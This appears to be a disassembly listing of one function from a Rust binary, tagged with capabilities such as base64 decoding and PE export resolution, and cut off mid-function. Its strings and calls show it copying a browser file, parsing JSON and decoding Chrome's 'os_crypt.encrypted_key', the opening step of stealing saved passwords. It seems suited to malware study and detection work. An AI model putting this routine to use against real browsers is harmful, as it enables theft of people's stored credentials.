Function at 0x10013bb1
Capabilities:
Decode data using base64 via dword translation table
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x118
call 0x10013bc5
pop eax
mov dword [esp + 0x10], edx
mov dword [esp + 0xdc], ecx
mov dword [esp + 0x20], eax
lea edi, [esp + 0x68]
mov edx, str.hello_home_lanbyshell_.cargo_registry_src_index.crates.io_6f17d22bba15001f_chrome_password_0.2.0_src_lib.rs
mov ecx, edi
push 5
call sym.tempdir::TempDir::new::h155e9966228e8180
pop eax
lea ebx, [esp + 0xe8]
mov edx, edi
mov ecx, ebx
push 0x10168b6c
call sym.core::result::Result_LT_T_C_E_GT_::unwrap::h00e9503037c4bc0c
pop eax
mov ecx, ebx
call sym.tempdir::TempDir::path::h3d6f2131afe16424
mov ebx, edx
lea esi, [esp + 0x104]
mov edx, eax
mov ecx, esi
push 0xb
push 0x10168b7c
push ebx
call sym.std::path::Path::_join::hc6a360a0c8082ce8
add esp, 0xc
mov eax, dword [esi + 8]
mov edi, dword [esi + 4]
mov ebx, esi
mov dword [esp + 0x1c], eax
mov edx, dword [esp + 0x10]
lea esi, [esp + 0x68]
mov ecx, esi
push eax
push edi
push dword [ebp + 8]
call sym.std::fs::copy::h0cede694ecaae621
add esp, 0xc
mov ecx, dword [esi]
mov edx, dword [esi + 4]
push 0x10168b88
push dword [esi + 8]
call sym.core::result::Result_LT_T_C_E_GT_::unwrap::hf37c95d6a74dbfef
pop eax
pop ecx
mov eax, dword [ebx]
and dword [esi], 0
and dword [esi + 8], 0
and dword [esi + 0xc], 0
mov dword [esi + 0x10], 7
and dword [esi + 0x1a], 0
and dword [esi + 0x18], 0
and dword [esi + 0x14], 0
and dword [esi + 0x1e], 0
mov byte [esi + 0x1c], 1
mov dword [esp + 0x38], eax
lea ebx, [esp + 0xb0]
mov dword [esp + 0x28], edi
mov edx, edi
mov ecx, ebx
push esi
push dword [esp + 0x20]
call dbg.open
pop eax
pop ecx
cmp byte [ebx], 4
jne 0x10013cae
mov edi, dword [esp + 0xb4]
jmp 0x10013cc5
mov ebx, dword [esp + 0xb0]
mov edi, dword [esp + 0xb4]
cmp bl, 4
jne 0x10013d78
lea ebx, [esp + 0x68]
mov edx, edi
mov ecx, ebx
call dbg.file_attr
mov eax, dword [ebx]
mov dword [esp + 0x10], edi
xor eax, 2
or eax, dword [ebx + 4]
jne 0x10013d45
mov al, byte [esp + 0x70]
mov esi, dword [esp + 0x74]
cmp al, 4
je 0x10013d4c
cmp al, 3
jne 0x10013d21
mov eax, esi
mov esi, dword [esi]
mov edi, dword [eax + 4]
mov dword [esp + 4], eax
mov eax, dword [edi]
push esi
call eax
pop eax
cmp dword [edi + 4], 0
je 0x10013d11
mov edx, dword [edi + 8]
mov ecx, esi
call sym.___rust_dealloc
push 4
pop edx
mov ecx, dword [esp + 4]
call sym.___rust_dealloc
mov edi, dword [esp + 0x10]
and dword [esp + 0xb0], 0
mov dword [esp + 0xb4], 1
and dword [esp + 0xb8], 0
xor esi, esi
mov cl, 1
jmp 0x10013dc6
mov esi, dword [esp + 0xa0]
test esi, esi
je 0x10013d86
js 0x10015690
mov al, byte [0x1022a138]
xor edx, edx
mov ecx, esi
inc edx
call sym.___rust_alloc
test eax, eax
jne 0x10013d8b
xor ecx, ecx
mov edx, esi
inc ecx
call dbg.handle_alloc_error
jmp 0x10015695
mov dword [esp + 0x2c], edi
mov edi, ebx
shr edi, 8
jmp 0x100140a9
xor eax, eax
xor esi, esi
inc eax
mov dword [esp + 0xb0], esi
mov dword [esp + 0xb4], eax
lea edx, [esi + 0x400]
and dword [esp + 0xb8], 0
mov eax, edx
and eax, 0x1fff
je 0x10013dd0
mov ecx, 0x2000
sub ecx, eax
add edx, ecx
setb al
xor ecx, ecx
mov dword [esp + 0x2c], edx
test al, 1
je 0x10013dd6
mov dword [esp + 0x2c], 0x2000
jmp 0x10013dd6
mov dword [esp + 0x2c], edx
xor ecx, ecx
test esi, esi
mov dword [esp + 0x30], ecx
mov edx, esi
not cl
setne al
xor esi, esi
mov dword [esp + 4], edx
test cl, al
mov ecx, edx
mov edx, 0
jne 0x10013e3d
mov eax, dword [esp + 4]
cmp eax, 0x20
mov ecx, eax
jae 0x10013e3d
mov edx, edi
lea eax, [esp + 0xb0]
lea ecx, [esp + 0x68]
push eax
call dbg.small_probe_read<std::fs::File>
pop eax
mov bl, byte [esp + 0x68]
cmp bl, 4
jne 0x10013ffc
cmp dword [esp + 0x6c], 0
lea ebx, [esp + 0x68]
je 0x10014271
mov ecx, dword [esp + 0xb0]
mov edx, dword [esp + 0xb8]
cmp edx, ecx
jne 0x10013e83
cmp ecx, dword [esp + 4]
jne 0x10013e83
mov edx, edi
lea eax, [esp + 0xb0]
mov ecx, ebx
push eax
call dbg.small_probe_read<std::fs::File>
pop eax
mov bl, byte [esp + 0x68]
cmp bl, 4
jne 0x10013ffc
cmp dword [esp + 0x6c], 0
mov edx, dword [esp + 0xb8]
je 0x10015231
mov ecx, dword [esp + 0xb0]
lea ebx, [esp + 0x68]
cmp edx, ecx
jne 0x10013ea6
mov edx, ecx
lea ecx, [esp + 0xb0]
push 0x20
call dbg.do_reserve_and_handle<u8, alloc::alloc::Global>
pop eax
mov ecx, dword [esp + 0xb0]
mov edx, dword [esp + 0xb8]
mov eax, dword [esp + 0xb4]
mov dword [esp + 0x14], ecx
sub ecx, edx
mov dword [esp + 0x1c], edx
add eax, edx
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x2c]
cmp ecx, eax
cmovae ecx, eax
mov dword [esp + 0x6c], ecx
and dword [esp + 0x70], 0
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x74], esi
mov edx, edi
lea ecx, [esp + 0x58]
push ebx
call dbg.read_buf
pop eax
mov al, byte [esp + 0x58]
cmp al, 4
je 0x10013f5d
movzx eax, al
mov eax, dword [eax*4 + 0x10015728]
add eax, dword [esp + 0x20]
jmp eax
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x70]
mov esi, eax
sub esi, ecx
jb 0x10015565
mov edx, dword [esp + 0x6c]
cmp eax, edx
ja 0x10015553
test ecx, ecx
je 0x100151fc
mov edx, dword [esp + 0x1c]
add edx, ecx
cmp byte [esp + 0x30], 0
mov dword [esp + 0xb8], edx
je 0x10013fce
mov ebx, dword [esp + 0x3c]
mov edi, 0xffffffff
cmp eax, ebx
mov eax, dword [esp + 0x2c]
cmovne eax, edi
cmp ecx, ebx
jne 0x10013fd7
mov ecx, dword [esp + 0x14]
cmp ebx, eax
lea ebx, [esp + 0x68]
jb 0x10013fc1
test eax, eax
lea eax, [eax + eax]
cmovs eax, edi
mov edi, dword [esp + 0x10]
mov dword [esp + 0x2c], eax
jmp 0x10013e3d
mov ecx, dword [esp + 0x14]
jmp 0x10013e3d
mov ecx, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
mov dword [esp + 0x2c], eax
lea ebx, [esp + 0x68]
jmp 0x10013e3d
movzx eax, byte [esp + 0x6b]
movzx ecx, word [esp + 0x69]
shl eax, 0x10
or ecx, eax
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x1c], eax
mov edi, dword [esp + 0xb8]
mov edx, dword [esp + 0xb4]
lea esi, [esp + 0x68]
mov dword [esp + 4], edx
mov ecx, esi
push edi
call dbg.from_utf8
pop eax
cmp dword [esi], 0
je 0x10014060
mov ecx, dword [esp + 0x1c]
cmp bl, 4
mov eax, 0x101c1544
cmove ecx, eax
movzx eax, bl
push 2
pop ebx
mov esi, dword [esp + 0xb0]
cmovne ebx, eax
mov dword [esp + 0x2c], ecx
jmp 0x1001408c
mov esi, dword [esp + 0xb0]
mov eax, dword [esp + 0x1c]
cmp bl, 4
mov dword [esp + 0x2c], edi
jne 0x10014088
mov ebx, dword [esp + 4]
mov edi, ebx
shr edi, 8
push dword [esp + 0x10]
call sub.kernel32.dll_CloseHandle
jmp 0x100140ae
mov dword [esp + 0x2c], eax
mov edi, dword [esp + 0x34]
test esi, esi
je 0x100140a0
mov ecx, dword [esp + 4]
xor edx, edx
inc edx
call sym.___rust_dealloc
push dword [esp + 0x10]
call sub.kernel32.dll_CloseHandle
mov esi, 0x80000000
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x38]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1e3cb15a61af7b6e
cmp esi, 0x80000000
movzx eax, bl
je 0x10015577
lea ecx, [esp + 0xe8]
mov dword [esp + 0x10], eax
mov dword [esp + 0x34], edi
movsd xmm0, qword [ecx]
movsd xmm1, qword [ecx + 8]
movsd qword [esp + 0x60], xmm1
movsd qword [esp + 0x58], xmm0
call sym.tempdir::TempDir::path::h3d6f2131afe16424
mov ebx, eax
mov eax, edx
lea edx, [esp + 0xb0]
and dword [edx + 0xc], 0
mov dword [edx + 0x10], 7
and dword [edx + 0x18], 0
and dword [edx + 0x14], 0
and dword [edx + 0x1e], 0
and dword [edx + 0x1a], 0
mov dword [edx], 1
mov dword [edx + 4], pe_nt_image_headers32
mov dword [edx + 8], 0x2200000
lea edi, [esp + 0x68]
mov dword [esp + 0x1c], eax
mov ecx, edi
push eax
push ebx
call sym.std::fs::OpenOptions::_open::h269cf0019f00bab4
pop eax
pop ecx
cmp byte [edi], 4
mov dword [esp + 0xd4], esi
jne 0x10014152
mov edi, dword [esp + 0x6c]
jmp 0x1001415e
mov eax, dword [esp + 0x68]
mov edi, dword [esp + 0x6c]
cmp al, 4
jne 0x100141d7
lea esi, [esp + 0x68]
mov edx, edi
mov ecx, esi
call sym.remove_dir_all::fs::get_path::h66bcd00ff80d4d33
mov esi, dword [esi]
cmp esi, 0x80000000
jne 0x10014187
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x70]
mov dword [esp + 0x54], ecx
mov dword [esp + 0x50], eax
jmp 0x100141cc
mov edx, ebx
lea ebx, [esp + 0x68]
mov eax, dword [ebx + 4]
mov dword [esp + 4], eax
mov eax, dword [ebx + 8]
mov dword [esp + 0x14], eax
mov ecx, ebx
push dword [esp + 0x1c]
call sym.std::fs::metadata::hfbfc4f9c8cd5f502
pop eax
mov eax, dword [ebx]
xor eax, 2
or eax, dword [ebx + 4]
jne 0x100141e4
mov eax, dword [esp + 0x70]
mov ecx, dword [esp + 0x74]
mov dword [esp + 0x54], ecx
mov dword [esp + 0x50], eax
mov edx, dword [esp + 4]
mov ecx, esi
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1e3cb15a61af7b6e
push edi
call sub.kernel32.dll_CloseHandle
jmp 0x1001429e
mov dword [esp + 0x54], edi
mov dword [esp + 0x50], eax
jmp 0x1001429e
mov dword [esp + 0x1c], esi
mov ebx, dword [esp + 0xa8]
mov esi, dword [esp + 0xac]
push edi
call sub.kernel32.dll_CloseHandle
mov edi, dword [esp + 4]
mov edx, dword [esp + 0x14]
mov ecx, edi
call dbg.parent
test eax, eax
je 0x1001427e
mov dword [esp + 0x68], eax
mov eax, ebx
mov dword [esp + 0x6c], edx
and al, 1
mov byte [esp + 0x78], al
and dword [esp + 0x74], 0
and dword [esp + 0x70], 0
mov ecx, ebx
mov edx, esi
call sym.std::fs::FileType::is_dir::he19d4fc471076906
mov edi, dword [esp + 0x34]
test al, al
je 0x100151e1
bt ebx, 0xa
jae 0x10015207
and esi, 0x20000000
je 0x10015207
mov esi, dword [esp + 4]
lea eax, [esp + 0x68]
lea ecx, [esp + 0x50]
mov edx, esi
push eax
push dword [esp + 0x18]
call sym.remove_dir_all::fs::remove_item::hd9da5cbf4284add9
jmp 0x1001521f
mov dword [esp + 0x1c], 0
jmp 0x10015235
xor edx, edx
lea ecx, [esp + 0x50]
inc edx
push 0x1b
push str.Cant_delete_root_directoryNot_a_directory_home_lanbyshell_.cargo_registry_src_index.crates.io_6f17d22bba15001f_rand_0.4.6_src_lib.rsABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_home_lanbyshell_.cargo_registry_src_index.crates.io_6f17d22bba15001f_tempdir_0.3.7_src_lib.rstoo_many_temporary_directories_already_exist
call sym.std::io::error::Error::new::h6b0a79be0c8789e2
pop eax
pop ecx
mov ecx, dword [esp + 0x1c]
mov edx, edi
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1e3cb15a61af7b6e
mov edi, dword [esp + 0x34]
lea ebx, [esp + 0x58]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edx, esi
call sym.__ZN4core3ptr102drop_in_place_LT_core..result..Result_LT_alloc..string..String_C_alloc..string..FromUtf16Error_GT__GT_17h30ed6
mov dword [ebx], 0x80000000
mov ecx, ebx
call sym.__LT_tempdir..TempDir_u20_as_u20_core..ops..drop..Drop_GT_::drop::hcdcaf9653b6e11a0
mov ecx, 0x80000000
mov edx, esi
call sym.__ZN4core3ptr102drop_in_place_LT_core..result..Result_LT_alloc..string..String_C_alloc..string..FromUtf16Error_GT__GT_17h30ed6
cmp byte [esp + 0x50], 4
jne 0x10015597
shl edi, 8
add edi, dword [esp + 0x10]
lea esi, [esp + 0x68]
mov edx, edi
mov ecx, esi
push dword [esp + 0x2c]
call sym.serde_json::de::from_str::h01f889879be70c7b
pop eax
cmp byte [esi], 6
je 0x100155b7
movsd xmm0, qword [esp + 0x78]
movsd xmm2, qword [esp + 0x68]
movsd xmm1, qword [esp + 0x70]
lea ecx, [esp + 0xb0]
movsd qword [ecx + 0x10], xmm0
movsd qword [ecx + 8], xmm1
movsd qword [ecx], xmm2
mov edx, str.os_cryptencrypted_key
push 8
call sym.__ZN10serde_json5value5index87__LT_impl_u20_core..ops..index..Index_LT_I_GT__u20_for_u20_serde_json..value..Value_GT_5index17h
pop ecx
mov edx, 0x10168bd0
mov ecx, eax
push 0xd
call sym.__ZN10serde_json5value5index87__LT_impl_u20_core..ops..index..Index_LT_I_GT__u20_for_u20_serde_json..value..Value_GT_5index17h
pop ecx
mov ecx, eax
call sym.serde_json::value::Value::as_str::h6caf9e411aa5406b
test eax, eax
mov dword [esp + 0x38], eax
je 0x100155e0
mov eax, edx
mov esi, edx
add eax, 3
jb 0x100155f2
shr eax, 2
mov dword [esp + 0x34], edi
lea ecx, [eax + eax*2]
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::allocate_in::h24ca61b25c7d0029
mov dword [esp + 0xc], eax
mov eax, esi
add eax, 7
jb 0x10015604
mov ecx, eax
shr ecx, 3
imul ebx, ecx, 6
mov dword [esp + 0x3c], ecx
cmp eax, 8
push 8
pop edi
mov dword [esp + 0x10], esi
jb 0x1001442f
mov ecx, dword [esp + 0xc]
cmp ecx, ebx
jae 0x10014419
lea esi, [ecx + ecx]
mov dword [esp + 8], edx
cmp esi, ebx
cmovbe esi, ebx
cmp esi, 9
cmovb esi, edi
mov edx, esi
not edx
shr edx, 0x1f
test ecx, ecx
je 0x100143d0
mov eax, dword [esp + 8]
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], 1
mov dword [esp + 0x70], ecx
jmp 0x100143d5
and dword [esp + 0x6c], 0
lea ecx, [esp + 0x58]
lea eax, [esp + 0x68]
push eax
push esi
call sym.alloc::raw_vec::finish_grow::h0cfb8943b22ab1c5
pop eax
pop ecx
lea eax, [esp + 0x58]
cmp dword [eax], 0
mov ecx, dword [eax + 4]
je 0x1001440f
mov edx, dword [esp + 8]
mov esi, dword [esp + 0x10]
cmp ecx, 0x80000001
je 0x10014419
test ecx, ecx
jne 0x1001569c
call sym.alloc::raw_vec::capacity_overflow::h7b8b81325d19d337
mov dword [esp + 0xc], esi
mov esi, dword [esp + 0x10]
mov edx, ecx
xor eax, eax
lea ecx, [eax + 1]
cmp ecx, ebx
jae 0x10014429
mov byte [edx + eax], 0
inc eax
jmp 0x1001441b
mov ebx, ecx
mov byte [edx + eax], 0
mov dword [esp + 8], edx
mov ecx, edx
mov edx, ebx
push 0x1016884c
push 0
call sym.__ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h7911f88f8097c
pop ecx
pop ecx
mov dword [esp + 0x2c], eax
mov eax, esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0xd8], ebx
and eax, 7
cmp eax, 5
ja 0x10014478
mov ecx, dword [esp + 0x20]
add ecx, dword [eax*4 + 0x10015738]
jmp ecx
mov edi, eax
mov eax, esi
xor ebx, ebx
sub eax, edi
cmovb eax, ebx
cmp eax, 0x20
jb 0x10014b9a
lea ecx, [eax - 0x20]
xor ebx, ebx
mov dword [esp + 0x20], 0
mov dword [esp + 0x4c], eax
mov dword [esp + 0xe0], ecx
cmp ebx, dword [esp + 0xe0]
ja 0x10014ba2
lea edx, [ebx + 0x20]
mov ecx, ebx
mov dword [esp + 0xe4], edx
push 0x101686e0
push esi
push dword [esp + 0x40]
call sym.__ZN106__LT_core..ops..range..Range_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_5index17h19b4
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov esi, edx
mov edi, eax
lea edx, [ecx + 0x1a]
push 0x101686f0
push dword [esp + 0x20]
push dword [esp + 0x34]
call fcn.100477bd
add esp, 0xc
mov dword [esp + 0x14], eax
mov dword [esp + 0x28], edx
mov edx, edi
xor ecx, ecx
mov dword [esp + 0x44], edi
push 0x10168700
mov dword [esp + 0x34], esi
push esi
call sym.__ZN110__LT_core..ops..range..RangeFrom_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_5index17h
pop ecx
pop ecx
mov edi, eax
mov esi, edx
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x14]
push 0x10168710
push 0
call sym.__ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h7911f88f8097c
pop ecx
pop ecx
test esi, esi
je 0x1001528a
mov dword [esp + 4], ebx
movzx ebx, byte [edi]
mov dword [esp + 0x40], edx
mov ch, byte [ebx + 0x101684c8]
cmp ch, 0xff
je 0x10015334
cmp esi, 2
jb 0x1001528c
movzx ebx, byte [edi + 1]
mov cl, byte [ebx + 0x101684c8]
cmp cl, 0xff
je 0x10015345
cmp esi, 3
jb 0x1001528e
movzx ebx, byte [edi + 2]
mov dl, byte [ebx + 0x101684c8]
cmp dl, 0xff
mov byte [esp + 0x1b], dl
je 0x10015359
cmp esi, 4
jb 0x10015290
movzx ebx, byte [edi + 3]
mov dword [esp + 0x48], eax
mov ah, byte [ebx + 0x101684c8]
cmp ah, 0xff
je 0x1001536d
cmp esi, 5
jb 0x10015292
movzx ebx, byte [edi + 4]
mov al, byte [ebx + 0x101684c8]
cmp al, 0xff
je 0x10015381
cmp esi, 6
jb 0x10015294
movzx ebx, byte [edi + 5]
mov dword [esp + 0x24], 0
mov dl, byte [ebx + 0x101684c8]
cmp dl, 0xff
je 0x10015395
cmp esi, 7
jb 0x10015296
movzx ebx, byte [edi + 6]
mov dh, byte [ebx + 0x101684c8]
cmp dh, 0xff
je 0x100153a1
cmp esi, 8
jb 0x10015298
movzx ebx, byte [edi + 7]
mov byte [esp + 0x1a], dh
mov dh, byte [ebx + 0x101684c8]
cmp dh, 0xff
je 0x100153ad
movzx esi, ch
movzx edi, cl
shl esi, 0x1a
shl edi, 0x14
or edi, esi
movzx esi, byte [esp + 0x1b]
shl esi, 0xe
or esi, edi
movzx edi, ah
movzx eax, al
shl edi, 8
shl eax, 2
or edi, esi
movzx esi, dl
or eax, edi
mov edi, esi
shr esi, 4
or esi, eax
movzx eax, byte [esp + 0x1a]
shl edi, 0x1c
shl eax, 0x16
or eax, edi
movzx edi, dh
shl edi, 0x10
or edi, eax
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x48]
push 0x1016887c
push 8
pop ebx
push ebx
call sym.__ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h24139bf189b22
pop ecx
pop ecx
bswap edi
bswap esi
mov dword [esp + 0x6c], edi
mov dword [esp + 0x68], esi
mov ecx, eax
push 0x1016888c
push ebx
lea eax, [esp + 0x70]
push eax
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::copy_from_slice::h5afc9423603c5491
add esp, 0xc
mov edx, dword [esp + 0x44]
mov ecx, ebx
push 0x10168720
push dword [esp + 0x34]
call sym.__ZN110__LT_core..ops..range..RangeFrom_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_5index17h
pop ecx
pop ecx
mov edi, eax
mov esi, edx
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x14]
push 0x10168730
push 6
call sym.__ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h7911f88f8097c
pop ecx
pop ecx
test esi, esi
je 0x1001529d
movzx ebx, byte [edi]
mov dword [esp + 0x40], edx
mov ch, byte [ebx + 0x101684c8]
cmp ch, 0xff
je 0x10015422
cmp esi, 2
jb 0x1001529f
movzx ebx, byte [edi + 1]
mov cl, byte [ebx + 0x101684c8]
cmp cl, 0xff
je 0x1001542e
cmp esi, 3
jb 0x100152a1
movzx ebx, byte [edi + 2]
mov dl, byte [ebx + 0x101684c8]
cmp dl, 0xff
mov byte [esp + 0x1b], dl
je 0x1001543a
cmp esi, 4
jb 0x100152a3
movzx ebx, byte [edi + 3]
mov dword [esp + 0x48], eax
mov ah, byte [ebx + 0x101684c8]
cmp ah, 0xff
je 0x10015446
cmp esi, 5
jb 0x100152a5
movzx ebx, byte [edi + 4]
mov al, byte [ebx + 0x101684c8]
cmp al, 0xff
je 0x10015452
cmp esi, 6
jb 0x100152a7
movzx ebx, byte [edi + 5]
mov dl, byte [ebx + 0x101684c8]
cmp dl, 0xff
je 0x1001545e
cmp esi, 7
jb 0x100152a9
movzx ebx, byte [edi + 6]
mov dh, byte [ebx + 0x101684c8]
cmp dh, 0xff
je 0x1001546a
cmp esi, 8
jb 0x100152ab
movzx ebx, byte [edi + 7]
mov byte [esp + 0x1a], dh
mov dh, byte [ebx + 0x101684c8]
cmp dh, 0xff
je 0x10015476
movzx esi, ch
movzx edi, cl
shl esi, 0x1a
shl edi, 0x14
or edi, esi
movzx esi, byte [esp + 0x1b]
shl esi, 0xe
or esi, edi
movzx edi, ah
movzx eax, al
shl edi, 8
shl eax, 2
or edi, esi
movzx esi, dl
or eax, edi
mov edi, esi
shr esi, 4
or esi, eax
movzx eax, byte [esp + 0x1a]
shl edi, 0x1c
shl eax, 0x16
or eax, edi
movzx edi, dh
shl edi, 0x10
or edi, eax
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x48]
push 0x1016887c
push 8
pop ebx
push ebx
call sym.__ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h24139bf189b22
pop ecx
pop ecx
bswap edi
bswap esi
mov dword [esp + 0x6c], edi
mov dword [esp + 0x68], esi
mov ecx, eax
push 0x1016888c
push ebx
lea eax, [esp + 0x70]
push eax
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::copy_from_slice::h5afc9423603c5491
add esp, 0xc
push 0x10
pop ecx
mov edx, dword [esp + 0x44]
push 0x10168740
push dword [esp + 0x34]
call sym.__ZN110__LT_core..ops..range..RangeFrom_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_5index17h
pop ecx
pop ecx
mov edi, eax
mov esi, edx
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x14]
push 0x10168750
push 0xc
call sym.__ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h7911f88f8097c
pop ecx
pop ecx
test esi, esi
je 0x100152ad
movzx ebx, byte [edi]
mov dword [esp + 0x40], edx
mov ch, byte [ebx + 0x101684c8]
cmp ch, 0xff
je 0x10015482
cmp esi, 2
jb 0x100152af
movzx ebx, byte [edi + 1]
mov cl, byte [ebx + 0x101684c8]
cmp cl, 0xff
je 0x1001548e
cmp esi, 3
jb 0x100152b1
movzx ebx, byte [edi + 2]
mov dl, byte [ebx + 0x101684c8]
cmp dl, 0xff
mov byte [esp + 0x1b], dl
je 0x10015497
cmp esi, 4
jb 0x100152b3
movzx ebx, byte [edi + 3]
mov dword [esp + 0x48], eax
mov ah, byte [ebx + 0x101684c8]
cmp ah, 0xff
je 0x100154a0
cmp esi, 5
jb 0x100152b5
movzx ebx, byte [edi + 4]
mov al, byte [ebx + 0x101684c8]
cmp al, 0xff
je 0x100154a9
cmp esi, 6
jb 0x100152b7
movzx ebx, byte [edi + 5]
mov dl, byte [ebx + 0x101684c8]
cmp dl, 0xff
je 0x100154b2
cmp esi, 7
jb 0x100152b9
movzx ebx, byte [edi + 6]
mov dh, byte [ebx + 0x101684c8]
cmp dh, 0xff
je 0x100154bb
cmp esi, 8
jb 0x100152bb
movzx ebx, byte [edi + 7]
mov byte [esp + 0x1a], dh
mov dh, byte [ebx + 0x101684c8]
cmp dh, 0xff
je 0x100154c4
movzx esi, ch
movzx edi, cl
shl esi, 0x1a
shl edi, 0x14
or edi, esi
movzx esi, byte [esp + 0x1b]
shl esi, 0xe
or esi, edi
movzx edi, ah
movzx eax, al
shl edi, 8
shl eax, 2
or edi, esi
movzx esi, dl
or eax, edi
mov edi, esi
shr esi, 4
or esi, eax
movzx eax, byte [esp + 0x1a]
shl edi, 0x1c
shl eax, 0x16
or eax, edi
movzx edi, dh
shl edi, 0x10
or edi, eax
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x48]
push 0x1016887c
push 8
pop ebx
push ebx
call sym.__ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h24139bf189b22
pop ecx
pop ecx
bswap edi
bswap esi
mov dword [esp + 0x6c], edi
mov dword [esp + 0x68], esi
mov ecx, eax
push 0x1016888c
push ebx
lea eax, [esp + 0x70]
push eax
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::copy_from_slice::h5afc9423603c5491
add esp, 0xc
push 0x18
pop ecx
mov edx, dword [esp + 0x44]
push 0x10168760
push dword [esp + 0x34]
call sym.__ZN110__LT_core..ops..range..RangeFrom_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_5index17h
pop ecx
pop ecx
mov edi, eax
mov esi, edx
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x14]
push 0x10168770
push 0x12
call sym.__ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h7911f88f8097c
pop ecx
pop ecx
test esi, esi
je 0x100152bd
movzx ebx, byte [edi]
mov dword [esp + 0x14], edx
mov ch, byte [ebx + 0x101684c8]
cmp ch, 0xff
je 0x100154cd
cmp esi, 2
jb 0x100152cb
movzx ebx, byte [edi + 1]
mov cl, byte [ebx + 0x101684c8]
cmp cl, 0xff
je 0x100154d6
cmp esi, 3
jb 0x100152da
movzx ebx, byte [edi + 2]
mov dl, byte [ebx + 0x101684c8]
cmp dl, 0xff
mov byte [esp + 0x28], dl
je 0x100154df
cmp esi, 4
jb 0x100152e9
movzx ebx, byte [edi + 3]
mov dword [esp + 0x30], eax
mov ah, byte [ebx + 0x101684c8]
cmp ah, 0xff
je 0x100154e8
cmp esi, 5
jb 0x100152f8
movzx ebx, byte [edi + 4]
mov al, byte [ebx + 0x101684c8]
cmp al, 0xff
je 0x100154f1
cmp esi, 6
jb 0x10015307
movzx ebx, byte [edi + 5]
mov dl, byte [ebx + 0x101684c8]
cmp dl, 0xff
je 0x100154fa
cmp esi, 7
jb 0x10015316
movzx ebx, byte [edi + 6]
mov dh, byte [ebx + 0x101684c8]
cmp dh, 0xff
je 0x10015503
cmp esi, 8
jb 0x10015325
movzx ebx, byte [edi + 7]
mov byte [esp + 0x44], dh
mov dh, byte [ebx + 0x101684c8]
cmp dh, 0xff
je 0x1001550c
movzx esi, ch
movzx edi, cl
shl esi, 0x1a
shl edi, 0x14
or edi, esi
movzx esi, byte [esp + 0x28]
shl esi, 0xe
or esi, edi
movzx edi, ah
movzx eax, al
shl edi, 8
shl eax, 2
or edi, esi
movzx esi, dl
or eax, edi
mov edi, esi
shr esi, 4
or esi, eax
movzx eax, byte [esp + 0x44]
shl edi, 0x1c
shl eax, 0x16
or eax, edi
movzx edi, dh
shl edi, 0x10
or edi, eax
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x14]
push 0x1016887c
push 8
pop ebx
push ebx
call sym.__ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h24139bf189b22
pop ecx
pop ecx
bswap esi
bswap edi
mov dword [esp + 0x6c], edi
mov dword [esp + 0x68], esi
mov ecx, eax
push 0x1016888c
push ebx
lea eax, [esp + 0x70]
push eax
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::copy_from_slice::h5afc9423603c5491
add esp, 0xc
add dword [esp + 0x20], 0x18
add dword [esp + 0x3c], 0xfffffffc
mov ebx, dword [esp + 0xe4]
mov esi, dword [esp + 0x10]
